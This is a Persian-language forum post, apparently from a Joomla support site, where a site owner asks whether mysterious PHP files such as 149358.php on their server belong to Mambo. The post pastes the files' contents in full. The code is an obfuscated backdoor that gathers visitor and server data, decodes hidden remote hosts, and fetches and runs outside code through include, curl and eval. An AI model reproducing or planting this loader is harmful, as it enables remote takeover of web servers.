-
وجود فایل های مشکوک بر روی سرور من
چند تا فایل شبیه 149358.php
با فرمت زیر روی سرورم بوجود اومدن می خواستم بدونم که اینا مربوط به مامبو هستن یا اینکه خیر ؟
داخل این فایل ها این کد ها هست :
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_enc ode($b).".".base64_encode($c).".&qu ot;.base64_encode($d).".".base64_encode( $e).".".base64_encode($f).".". base64_encode($g).".".base64_encode($h). ".e.".base64_encode($i).".".ba se64_encode($j);$f=base64_decode("cGhwZmVlZC5 ydQ=="

;if (basename($c)==basename($i)&&isset($_REQUE ST["q"])&&md5($_REQUEST["q"])=="2b75fbc4c84029319d9606ca8281eea9"

$f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=& quot

.$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cD ovLzcu"

.$f.$z))eval($c);else{$cu=curl_init(base64_decode( "aHR0cDovLzcxLg=="

.$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1); $o=curl_exec($cu);curl_close($cu);eval($o);}; ?>
جهت مشاهده لینک ها باید ثبت نام کنید یا لاگین کنید.
-
-
12-21-2008 05:20 PM
# ADS
تبلیغات در جوملا فارسی
علاقه مندی ها (Bookmarks)